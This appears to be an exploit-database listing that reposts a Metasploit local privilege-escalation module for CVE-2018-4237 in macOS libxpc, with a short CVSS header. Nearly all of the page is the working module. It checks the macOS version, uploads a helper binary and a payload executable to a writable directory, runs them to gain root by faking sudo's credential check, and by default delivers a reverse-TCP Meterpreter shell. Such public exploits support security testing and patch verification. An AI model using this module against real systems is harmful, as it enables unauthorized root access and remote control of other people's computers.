Mac OS X libxpc MITM Privilege Escalation

2018.11.29
Credit: saelo
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-264


CVSS Base Score: 6.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::File include Msf::Post::OSX::Priv include Msf::Post::OSX::System include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Mac OS X libxpc MITM Privilege Escalation', 'Description' => %q{ This module exploits a vulnerablity in libxpc on macOS <= 10.13.3 The task_set_special_port API allows callers to overwrite their bootstrap port, which is used to communicate with launchd. This port is inherited across forks: child processes will use the same bootstrap port as the parent. By overwriting the bootstrap port and forking a child processes, we can now gain a MitM position between our child and launchd. To gain root we target the sudo binary and intercept its communication with opendirectoryd, which is used by sudo to verify credentials. We modify the replies from opendirectoryd to make it look like our password was valid. }, 'License' => MSF_LICENSE, 'Author' => [ 'saelo' ], 'References' => [ ['CVE', '2018-4237'], ['URL', 'https://github.com/saelo/pwn2own2018'], ], 'Arch' => [ ARCH_X64 ], 'Platform' => 'osx', 'DefaultTarget' => 0, 'DefaultOptions' => { 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' }, 'Targets' => [ [ 'Mac OS X x64 (Native Payload)', { } ] ], 'DisclosureDate' => 'Mar 15 2018')) register_advanced_options [ OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]) ] end def upload_executable_file(filepath, filedata) print_status("Uploading file: '#{filepath}'") write_file(filepath, filedata) chmod(filepath) register_file_for_cleanup(filepath) end def check version = Gem::Version.new(get_system_version) if version >= Gem::Version.new('10.13.4') CheckCode::Safe else CheckCode::Appears end end def exploit if check != CheckCode::Appears fail_with Failure::NotVulnerable, 'Target is not vulnerable' end if is_root? fail_with Failure::BadConfig, 'Session already has root privileges' end unless writable? datastore['WritableDir'] fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable" end exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2018-4237", "ssudo" )) exploit_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}" upload_executable_file(exploit_file, exploit_data) payload_file = "#{datastore['WritableDir']}/#{Rex::Text::rand_text_alpha_lower(6..12)}" upload_executable_file(payload_file, generate_payload_exe) exploit_cmd = "#{exploit_file} #{payload_file}" print_status("Executing cmd '#{exploit_cmd}'") cmd_exec(exploit_cmd) end end


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